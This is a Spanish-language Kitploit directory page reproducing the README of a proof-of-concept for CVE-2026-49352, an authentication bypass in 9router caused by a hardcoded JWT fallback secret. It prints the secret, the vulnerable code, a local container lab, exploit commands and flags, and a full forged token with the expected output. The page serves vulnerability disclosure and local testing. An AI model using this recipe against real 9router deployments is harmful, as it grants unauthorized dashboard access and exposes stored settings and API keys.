Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-49352-poc — PoC de explotabilidad para CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass) | Kitploit
Herramientas/GitHubGitHub/covepseng/cve-2026-49352-poc
Autenticación y AutorizaciónGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

PoC de explotabilidad para CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-49352 — Bypass de Autenticación por Secreto JWT Hardcodeado en 9router

Tabla de Contenidos

  • Resumen
  • Versiones Afectadas
  • Causa Raíz
  • Análisis
  • Estructura del Repositorio
  • Requisitos
  • Uso
  • Salida Esperada
  • Referencias
  • Aviso Legal

Resumen

CVE-2026-49352 es una vulnerabilidad en 9router, un proxy Node.js/Next.js autoalojado para herramientas de codificación con IA. El JWT de sesión del panel está firmado con un secreto obtenido de la variable de entorno JWT_SECRET, pero si esa variable no se establece, tanto el manejador de inicio de sesión como el guardia de solicitudes recurren al mismo literal hardcodeado:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

Debido a que esta cadena está comprometida en el repositorio público, no es un secreto en absoluto. Cualquier atacante puede firmar un token con él y ser tratado como un usuario autenticado del panel.


Versiones Afectadas

Rango afectadoCorregido en
0.2.21 – 0.4.410.4.45

Causa Raíz

El secreto de respaldo está definido de manera idéntica en dos archivos independientes.

src/app/api/auth/login/route.js — emite el token de sesión al iniciar sesión:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — verifica el token en cada solicitud protegida:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

Que hasValidToken() tenga éxito es la única condición que se verifica antes de conceder acceso a /dashboard y a los endpoints listados en ALWAYS_PROTECTED (incluyendo /api/settings/database). No hay búsqueda de un registro de sesión ni validación de dónde provino el token: una firma válida se trata como prueba de identidad.


Análisis

El bypass está confirmado y es reproducible contra una compilación del código base afectado. Con JWT_SECRET sin establecer:

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

La forma de despliegue importa

La vulnerabilidad solo se activa cuando JWT_SECRET nunca fue establecido por el operador — el valor predeterminado para la mayoría de los despliegues rápidos / docker-run que omiten el paso de configuración de entorno. Los despliegues que establecen explícitamente JWT_SECRET a un valor aleatorio no se ven afectados, ya que SECRET se deriva una vez al cargar el módulo y nunca recurre al valor por defecto.


Estructura del Repositorio

root@kitploit:~
cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

Requisitos

HerramientaVersiónNotas
Podman≥ 4.0Se requiere podman-compose
Go≥ 1.22Para ejecutar el exploit localmente

Dependencia externa de Go: github.com/golang-jwt/jwt/v5.


Uso

1. Construir e iniciar el contenedor

root@kitploit:~
podman-compose build
podman-compose up -d

Espere a que la aplicación indique que está lista, luego verifique:

root@kitploit:~
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. Ejecutar el exploit

root@kitploit:~
cd exploit
go run exploit.go -target http://localhost:20128

Agregue -probe para solicitar también /api/settings/database con la cookie falsificada:

root@kitploit:~
go run exploit.go -target http://localhost:20128 -probe

Banderas disponibles:

3. Limpieza

root@kitploit:~
podman-compose down -v

Salida Esperada

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

Referencias

RecursoEnlace
AvisoGHSA-jphh-m39h-6gwx
Repositorio vulnerabledecolua/9router
Análisis completo — artículoreturn-zero.dev/posts/cve-2026-49352

Aviso Legal

Este repositorio está destinado únicamente a fines educativos y análisis de explotabilidad local. Todas las pruebas se realizaron contra un entorno de contenedor autoalojado. No ejecute este PoC contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas.

Descargar herramienta
BanderínValor por defectoDescripción
-targethttp://localhost:20128URL base de la instancia de 9router
-secret9router-default-secret-change-meSecreto JWT de respaldo a falsificar
-ttl36 * 365 * 24hVentana de validez del token falsificado
-probefalseTambién solicitar /api/settings/database